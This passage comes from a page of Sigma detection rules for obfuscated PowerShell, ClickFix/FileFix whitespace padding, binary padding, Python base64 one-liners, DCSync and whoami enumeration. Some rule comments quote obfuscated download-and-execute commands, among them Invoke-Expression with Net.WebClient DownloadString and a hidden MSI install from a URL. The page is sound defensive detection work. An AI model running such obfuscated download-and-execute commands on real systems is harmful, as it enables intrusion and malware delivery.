            - '/c'
            - '-f'
        ImagePath|contains:
            - '{0}'
            - '{1}'
            - '{2}'
            - '{3}'
            - '{4}'
            - '{5}'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation Obfuscated IEX Invocation - System

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references

status test author Daniel Bohannon (@Mandiant/@FireEye), oscd.community id 51aa9387-1c53-4153-91cc-d73c59ae1ca9 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation Obfuscated IEX Invocation - System
id: 51aa9387-1c53-4153-91cc-d73c59ae1ca9
status: test
description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references
references:
    - https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
author: Daniel Bohannon (@Mandiant/@FireEye), oscd.community
date: 2019-11-08
modified: 2022-11-27
tags:
    - attack.stealth
    - attack.t1027
logsource:
    product: windows
    service: system
detection:
    selection_eid:
        EventID: 7045
    selection_imagepath:
        - ImagePath|re: '\$PSHome\[\s*\d{1,3}\s*\]\s*\+\s*\$PSHome\['
        - ImagePath|re: '\$ShellId\[\s*\d{1,3}\s*\]\s*\+\s*\$ShellId\['
        - ImagePath|re: '\$env:Public\[\s*\d{1,3}\s*\]\s*\+\s*\$env:Public\['
        - ImagePath|re: '\$env:ComSpec\[(\s*\d{1,3}\s*,){2}'
        - ImagePath|re: '\\*mdr\*\W\s*\)\.Name'
        - ImagePath|re: '\$VerbosePreference\.ToString\('
        - ImagePath|re: '\String\]\s*\$VerbosePreference'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation VAR+ Launcher - System

Detects Obfuscated use of Environment Variables to execute PowerShell

status test author Jonathan Cheong, oscd.community id 8ca7004b-e620-4ecb-870e-86129b5b8e75 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation VAR+ Launcher - System
id: 8ca7004b-e620-4ecb-870e-86129b5b8e75
status: test
description: Detects Obfuscated use of Environment Variables to execute PowerShell
references:
    - https://github.com/SigmaHQ/sigma/issues/1009  # (Task 24)
author: Jonathan Cheong, oscd.community
date: 2020-10-15
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        # ImagePath|re: 'cmd.{0,5}(?:\/c|\/r)(?:\s|)\"set\s[a-zA-Z]{3,6}.*(?:\{\d\}){1,}\\\"\s+?\-f(?:.*\)){1,}.*\"'
        # Example 1: C:\winDoWs\SySTeM32\cmd.Exe /C"SET NOtI=Invoke-Expression (New-Object Net.WebClient).DownloadString&& PowERshElL -NOl SET-iteM ( 'VAR' + 'i'+ 'A' + 'blE:Ao6' + 'I0') ( [TYpe](\"{2}{3}{0}{1}\"-F 'iRoN','mENT','e','nv') ) ; ${exECUtIONCOnTEXT}.\"IN`VO`KecOmMaND\".\"inVo`KES`crIPt\"( ( ( GEt-VAriAble ( 'a' + 'o6I0') -vaLU )::(\"{1}{4}{2}{3}{0}\" -f'e','gETenvIR','NtvaRIa','BL','ONme' ).Invoke(( \"{0}{1}\"-f'n','oti' ),( \"{0}{1}\" -f'pRoC','esS') )) )"
        # Example 2: cMD.exe /C "seT SlDb=Invoke-Expression (New-Object Net.WebClient).DownloadString&& pOWErShell .(( ^&(\"{1}{0}{2}{3}\" -f 'eT-vaR','G','iab','lE' ) (\"{0}{1}\" -f '*m','DR*' ) ).\"na`ME\"[3,11,2]-JOIN'' ) ( ( ^&(\"{0}{1}\" -f'g','CI' ) (\"{0}{1}\" -f 'ENV',':SlDb' ) ).\"VA`luE\" ) "
        ImagePath|contains|all:
            - 'cmd'
            - '"set'
            - '-f'
        ImagePath|contains:
            - '/c'
            - '/r'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Binary Padding - MacOS

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.

status test author Igor Fits, Mikhail Larin, oscd.community id 95361ce5-c891-4b0a-87ca-e24607884a96 license Sigma · DRL-1.1

view Sigma YAML

title: Binary Padding - MacOS
id: 95361ce5-c891-4b0a-87ca-e24607884a96
status: test
description: Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md
    - https://linux.die.net/man/1/truncate
    - https://linux.die.net/man/1/dd
author: 'Igor Fits, Mikhail Larin, oscd.community'
date: 2020-10-19
modified: 2023-02-17
tags:
    - attack.stealth
    - attack.t1027.001
logsource:
    product: macos
    category: process_creation
detection:
    selection_truncate:
        Image|endswith: '/truncate'
        CommandLine|contains: '-s +'
    selection_dd:
        Image|endswith: '/dd'
        CommandLine|contains:
            - 'if=/dev/zero' # if input is not /dev/zero, then there is no null padding
            - 'if=/dev/random' # high-quality random data
            - 'if=/dev/urandom' # low-quality random data
    condition: 1 of selection_*
falsepositives:
    - Legitimate script work
level: high

related high

Binary Padding - Linux

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.

status test author Igor Fits, oscd.community id c52a914f-3d8b-4b2a-bb75-b3991e75f8ba license Sigma · DRL-1.1

view Sigma YAML

title: Binary Padding - Linux
id: c52a914f-3d8b-4b2a-bb75-b3991e75f8ba
status: test
description: |
    Adversaries may use binary padding to add junk data and change the on-disk representation of malware.
    This rule detect using dd and truncate to add a junk data to file.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md
author: Igor Fits, oscd.community
date: 2020-10-13
modified: 2023-05-03
tags:
    - attack.stealth
    - attack.t1027.001
logsource:
    product: linux
    service: auditd
detection:
    selection_execve:
        type: 'EXECVE'
    keywords_truncate:
        '|all':
            - 'truncate'
            - '-s'
    keywords_dd:
        '|all':
            - 'dd'
            - 'if='
    keywords_filter:
        - 'of='
    condition: selection_execve and (keywords_truncate or (keywords_dd and not keywords_filter))
falsepositives:
    - Unknown
level: high
simulation:
    - type: atomic-red-team
      name: Pad Binary to Change Hash - Linux/macOS dd
      technique: T1027.001
      atomic_guid: ffe2346c-abd5-4b45-a713-bf5f1ebd573a

related high

Python One-Liners with Base64 Decoding - Linux

Detects the use of Python's base64 decoding functions in command line executions on Linux systems. Malicious scripts often use python one-liners to decode and execute base64-encoded payloads, which is a common technique for obfuscation and evasion.

status experimental author Hugh Ryan (HueCodes), Swachchhanda Shrawan Poudel (Nextron Systems) id 55e862a8-dd9c-4651-807a-f21fcad56716 license Sigma · DRL-1.1

view Sigma YAML

title: Python One-Liners with Base64 Decoding - Linux
id: 55e862a8-dd9c-4651-807a-f21fcad56716
related:
    - id: 50a0aa3d-ab16-4594-a8aa-5145a6e6792b
      type: similar
status: experimental
description: |
    Detects the use of Python's base64 decoding functions in command line executions on Linux systems.
    Malicious scripts often use python one-liners to decode and execute base64-encoded payloads, which is a common technique for obfuscation and evasion.
references:
    - https://docs.python.org/3/library/base64.html
    - https://www.virustotal.com/gui/file/bc43e925d7b4b74319f6e74e836a96f1997ba404e14ac566cf12a21e9da463db/behavior
    - https://cloud.google.com/blog/topics/threat-intelligence/cybercriminals-weaponize-fake-ai-websites
author: Hugh Ryan (HueCodes), Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2026-03-09
tags:
    - attack.execution
    - attack.stealth
    - attack.t1059.006
    - attack.t1027.010
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        Image|contains: '/python'
    selection_cli:
        CommandLine|contains|all:
            - 'import'
            - 'base64'
            - ' -c'
        CommandLine|contains:
            - '.decode'
            - 'b16decode'
            - 'b32decode'
            - 'b32hexdecode'
            - 'b64decode'
            - 'b85decode'
            - 'z85decode'
    condition: all of selection_*
falsepositives:
    - Legitimate use of Python for decoding data, which is uncommon in typical enterprise environments but possible in development or data analysis contexts.
level: high

related high

Obfuscated PowerShell MSI Install via WindowsInstaller COM

Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`). The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.

status experimental author Meroujan Antonyan (vx3r) id 7b6a7418-3afc-11f0-aff4-000d3abf478c license Sigma · DRL-1.1

view Sigma YAML

title: Obfuscated PowerShell MSI Install via WindowsInstaller COM
id: 7b6a7418-3afc-11f0-aff4-000d3abf478c
status: experimental
description: |
    Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`).
    The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting
    malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection
    by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with
    hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.
references:
    - https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
    - https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
author: Meroujan Antonyan (vx3r)
date: 2025-05-27
tags:
    - attack.stealth
    - attack.t1027.010
    - attack.t1218.007
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    # Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://example.com/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')";
    selection_img:
        - Image|endswith:
              - '\powershell_ise.exe'
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell_ISE.EXE'
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_cli:
        CommandLine|contains|all:
            - '-ComObject'
            - 'InstallProduct('
            - '.Insert('
            - 'UILevel'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

related high

Suspicious Explorer Process with Whitespace Padding - ClickFix/FileFix

Detects process creation with suspicious whitespace padding followed by a '#' character, which may indicate ClickFix or FileFix techniques used to conceal malicious commands from visual inspection. ClickFix and FileFix are social engineering attack techniques where adversaries distribute phishing documents or malicious links that deceive users into opening the Windows Run dialog box or File Explorer search bar. The victims are then instructed to paste commands from their clipboard, which contain extensive whitespace padding using various Unicode space characters to push the actual malicious command far to the right, effectively hiding it from immediate view.

status experimental author Swachchhanda Shrawan Poudel (Nextron Systems) id 3ae9974a-eb09-4044-8e70-8980a50c12c8 license Sigma · DRL-1.1

view Sigma YAML

title: Suspicious Explorer Process with Whitespace Padding - ClickFix/FileFix
id: 3ae9974a-eb09-4044-8e70-8980a50c12c8
related:
    - id: 8f2a5c3d-9e4b-4a7c-8d1f-2e5a6b9c3d7e
      type: similar
    - id: 7a1b4c5e-8f3d-4b9a-7c2e-1f4a5b8c6d9e
      type: similar
status: experimental
description: |
    Detects process creation with suspicious whitespace padding followed by a '#' character, which may indicate ClickFix or FileFix techniques used to conceal malicious commands from visual inspection.
    ClickFix and FileFix are social engineering attack techniques where adversaries distribute phishing documents or malicious links that deceive users into opening the Windows Run dialog box or File Explorer search bar.
    The victims are then instructed to paste commands from their clipboard, which contain extensive whitespace padding using various Unicode space characters to push the actual malicious command far to the right, effectively hiding it from immediate view.
references:
    - https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/
    - https://mrd0x.com/filefix-clickfix-alternative/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-11-04
modified: 2025-11-26
tags:
    - attack.execution
    - attack.stealth
    - attack.t1204.004
    - attack.t1027.010
logsource:
    category: process_creation
    product: windows
detection:
    selection_explorer:
        ParentImage|endswith: '\explorer.exe'
        CommandLine|contains: '#'
    selection_space_variation:
        CommandLine|contains:
            - '            ' # En Quad (U+2000)
            - '            ' # Em Quad (U+2001)
            - '            ' # En Space (U+2002)
            - '            ' # Em Space (U+2003)
            - '            ' # Three-Per-Em Space (U+2004)
            - '            ' # Four-Per-Em Space (U+2005)
            - '            ' # Six-Per-Em Space (U+2006)
            - '            ' # Figure Space (U+2007)
            - '            ' # Punctuation Space (U+2008)
            - '            ' # Thin Space (U+2009)
            - '            ' # Hair Space (U+200A)
            - '            ' # No-Break Space (U+00A0)
            - '            ' # Normal space (0x20)
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

related high

Python One-Liners with Base64 Decoding

Detects Python one-liners that use base64 decoding functions in command line executions. Malicious scripts or attackers often use python one-liners to decode and execute base64-encoded payloads, which is a common technique for obfuscation and evasion.

status experimental author Hugh Ryan (HueCodes), Swachchhanda Shrawan Poudel (Nextron Systems) id 50a0aa3d-ab16-4594-a8aa-5145a6e6792b license Sigma · DRL-1.1

view Sigma YAML

title: Python One-Liners with Base64 Decoding
id: 50a0aa3d-ab16-4594-a8aa-5145a6e6792b
related:
    - id: 55e862a8-dd9c-4651-807a-f21fcad56716
      type: similar
status: experimental
description: |
    Detects Python one-liners that use base64 decoding functions in command line executions.
    Malicious scripts or attackers often use python one-liners to decode and execute base64-encoded payloads, which is a common technique for obfuscation and evasion.
references:
    - https://docs.python.org/3/library/base64.html
    - https://www.virustotal.com/gui/file/bc43e925d7b4b74319f6e74e836a96f1997ba404e14ac566cf12a21e9da463db/behavior
    - https://cloud.google.com/blog/topics/threat-intelligence/cybercriminals-weaponize-fake-ai-websites
author: Hugh Ryan (HueCodes), Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2026-03-09
tags:
    - attack.execution
    - attack.stealth
    - attack.t1059.006
    - attack.t1027.010
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|contains: '\python'
        - OriginalFileName|contains: 'python'
    selection_cli:
        CommandLine|contains|all:
            - 'import'
            - 'base64'
            - ' -c'
        CommandLine|contains:
            - '.decode'
            - 'b16decode'
            - 'b32decode'
            - 'b32hexdecode'
            - 'b64decode'
            - 'b85decode'
            - 'z85decode'
    condition: all of selection_*
falsepositives:
    - Legitimate use of Python for decoding data, which is uncommon in typical enterprise environments but possible in development or data analysis contexts.
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_python_base64_encoded_execution/info.yml

related high

Suspicious Space Characters in TypedPaths Registry Path - FileFix

Detects the occurrence of numerous space characters in TypedPaths registry paths, which may indicate execution via phishing lures using file-fix techniques to hide malicious commands.

status experimental author Swachchhanda Shrawan Poudel (Nextron Systems) id 8f2a5c3d-9e4b-4a7c-8d1f-2e5a6b9c3d7e license Sigma · DRL-1.1

view Sigma YAML

title: Suspicious Space Characters in TypedPaths Registry Path - FileFix
id: 8f2a5c3d-9e4b-4a7c-8d1f-2e5a6b9c3d7e
related:
    - id: 3ae9974a-eb09-4044-8e70-8980a50c12c8
      type: similar
status: experimental
description: |
    Detects the occurrence of numerous space characters in TypedPaths registry paths, which may indicate execution via phishing lures using file-fix techniques to hide malicious commands.
references:
    - https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/
    - https://mrd0x.com/filefix-clickfix-alternative/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-11-04
tags:
    - attack.execution
    - attack.stealth
    - attack.t1204.004
    - attack.t1027.010
logsource:
    category: registry_set
    product: windows
detection:
    selection_key:
        TargetObject|endswith: '\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths\url1'
        Details|contains: '#'
    selection_space_variation:
        Details|contains:
            - '            ' # En Quad (U+2000)
            - '            ' # Em Quad (U+2001)
            - '            ' # En Space (U+2002)
            - '            ' # Em Space (U+2003)
            - '            ' # Three-Per-Em Space (U+2004)
            - '            ' # Four-Per-Em Space (U+2005)
            - '            ' # Six-Per-Em Space (U+2006)
            - '            ' # Figure Space (U+2007)
            - '            ' # Punctuation Space (U+2008)
            - '            ' # Thin Space (U+2009)
            - '            ' # Hair Space (U+200A)
            - '            ' # No-Break Space (U+00A0)
            - '            ' # Normal space
    condition: all of selection_*
falsepositives:
    - Unlikely
level: high

related high

Suspicious Space Characters in RunMRU Registry Path - ClickFix

Detects the occurrence of numerous space characters in RunMRU registry paths, which may indicate execution via phishing lures using clickfix techniques to hide malicious commands in the Windows Run dialog box from naked eyes.

status experimental author Swachchhanda Shrawan Poudel (Nextron Systems) id 7a1b4c5e-8f3d-4b9a-7c2e-1f4a5b8c6d9e license Sigma · DRL-1.1

view Sigma YAML

title: Suspicious Space Characters in RunMRU Registry Path - ClickFix
id: 7a1b4c5e-8f3d-4b9a-7c2e-1f4a5b8c6d9e
related:
    - id: 3ae9974a-eb09-4044-8e70-8980a50c12c8
      type: similar
status: experimental
description: |
    Detects the occurrence of numerous space characters in RunMRU registry paths, which may indicate execution via phishing lures using clickfix techniques to hide malicious commands in the Windows Run dialog box from naked eyes.
references:
    - https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/
    - https://github.com/JohnHammond/recaptcha-phish
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-11-04
tags:
    - attack.execution
    - attack.stealth
    - attack.t1204.004
    - attack.t1027.010
logsource:
    category: registry_set
    product: windows
detection:
    selection_key:
        TargetObject|contains: '\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\'
        Details|contains: '#'
    selection_space_variation:
        Details|contains:
            - '            ' # En Quad (U+2000)
            - '            ' # Em Quad (U+2001)
            - '            ' # En Space (U+2002)
            - '            ' # Em Space (U+2003)
            - '            ' # Three-Per-Em Space (U+2004)
            - '            ' # Four-Per-Em Space (U+2005)
            - '            ' # Six-Per-Em Space (U+2006)
            - '            ' # Figure Space (U+2007)
            - '            ' # Punctuation Space (U+2008)
            - '            ' # Thin Space (U+2009)
            - '            ' # Hair Space (U+200A)
            - '            ' # No-Break Space (U+00A0)
            - '            ' # Normal space
    condition: all of selection_*
falsepositives:
    - Unlikely
level: high

related high

SharpHound Recon Sessions

Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.

status test author Sagie Dulce, Dekel Paz id 6d580420-ff3f-4e0e-b6b0-41b90c787e28 license Sigma · DRL-1.1

view Sigma YAML

title: SharpHound Recon Sessions
id: 6d580420-ff3f-4e0e-b6b0-41b90c787e28
status: test
description: Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.
references:
    - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183
    - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md
    - https://github.com/zeronetworks/rpcfirewall
    - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
author: Sagie Dulce, Dekel Paz
date: 2022-01-01
tags:
    - attack.discovery
    - attack.t1033
logsource:
    product: rpc_firewall
    category: application
    definition: 'Requirements: install and apply the RPC Firewall to all processes with "audit:true action:block uuid:4b324fc8-1670-01d3-1278-5a47bf6ee188 opnum:12'
detection:
    selection:
        EventLog: RPCFW
        EventID: 3
        InterfaceUuid: 4b324fc8-1670-01d3-1278-5a47bf6ee188
        OpNum: 12
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Possible DCSync Attack

Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.

status test author Sagie Dulce, Dekel Paz id 56fda488-113e-4ce9-8076-afc2457922c3 license Sigma · DRL-1.1

view Sigma YAML

title: Possible DCSync Attack
id: 56fda488-113e-4ce9-8076-afc2457922c3
status: test
description: Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.
references:
    - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN
    - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-DRSR.md
    - https://github.com/zeronetworks/rpcfirewall
    - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
author: Sagie Dulce, Dekel Paz
date: 2022-01-01
tags:
    - attack.t1033
    - attack.discovery
logsource:
    product: rpc_firewall
    category: application
    definition: 'Requirements: install and apply the RPC Firewall to all processes, enable DRSR UUID (e3514235-4b06-11d1-ab04-00c04fc2dcd2) for "dangerous" opcodes (not 0,1 or 12) only from trusted IPs (DCs)'
detection:
    selection:
        EventLog: RPCFW
        EventID: 3
        InterfaceUuid: e3514235-4b06-11d1-ab04-00c04fc2dcd2
    filter:
        OpNum:
            - 0
            - 1
            - 12
    condition: selection and not filter
falsepositives:
    - Unknown
level: high

related high

Whoami.EXE Execution From Privileged Process

Detects the execution of "whoami.exe" by privileged accounts that are often abused by threat actors

status test author Florian Roth (Nextron Systems), Teymur Kheirkhabarov id 79ce34ca-af29-4d0e-b832-fc1b377020db license Sigma · DRL-1.1

view Sigma YAML

title: Whoami.EXE Execution From Privileged Process
id: 79ce34ca-af29-4d0e-b832-fc1b377020db
related:
    - id: 80167ada-7a12-41ed-b8e9-aa47195c66a1
      type: obsolete
status: test
description: Detects the execution of "whoami.exe" by privileged accounts that are often abused by threat actors
references:
    - https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment
    - https://web.archive.org/web/20221019044836/https://nsudo.m2team.org/en-us/
author: Florian Roth (Nextron Systems), Teymur Kheirkhabarov
date: 2022-01-28
modified: 2023-12-04
tags:
    - attack.privilege-escalation
    - attack.discovery
    - attack.t1033
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - OriginalFileName: 'whoami.exe'
        - Image|endswith: '\whoami.exe'
    selection_user:
        User|contains:
            - 'AUTHORI'
            - 'AUTORI'
            - 'TrustedInstaller'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

related high

WhoAmI as Parameter

Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)

status test author Florian Roth (Nextron Systems) id e9142d84-fbe0-401d-ac50-3e519fb00c89 license Sigma · DRL-1.1

view Sigma YAML

title: WhoAmI as Parameter
id: e9142d84-fbe0-401d-ac50-3e519fb00c89
status: test
description: Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)
references:
    - https://twitter.com/blackarrowsec/status/1463805700602224645?s=12
author: Florian Roth (Nextron Systems)
date: 2021-11-29
modified: 2022-12-25
tags:
    - attack.discovery
    - attack.t1033
    - car.2016-03-001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains: '.exe whoami'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Security Privileges Enumeration Via Whoami.EXE

Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privileges. This is often used after a privilege escalation attempt.

status test author Florian Roth (Nextron Systems) id 97a80ec7-0e2f-4d05-9ef4-65760e634f6b license Sigma · DRL-1.1

view Sigma YAML

title: Security Privileges Enumeration Via Whoami.EXE
id: 97a80ec7-0e2f-4d05-9ef4-65760e634f6b
status: test
description: Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privileges. This is often used after a privilege escalation attempt.
references:
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/whoami
author: Florian Roth (Nextron Systems)
date: 2021-05-05
modified: 2023-02-28
tags:
    - attack.privilege-escalation
    - attack.discovery
    - attack.t1033
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\whoami.exe'
        - OriginalFileName: 'whoami.exe'
    selection_cli:
        CommandLine|contains:
            - ' /priv'
            - ' -priv'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

Sigma rules for Gamaredon Group

Detection rules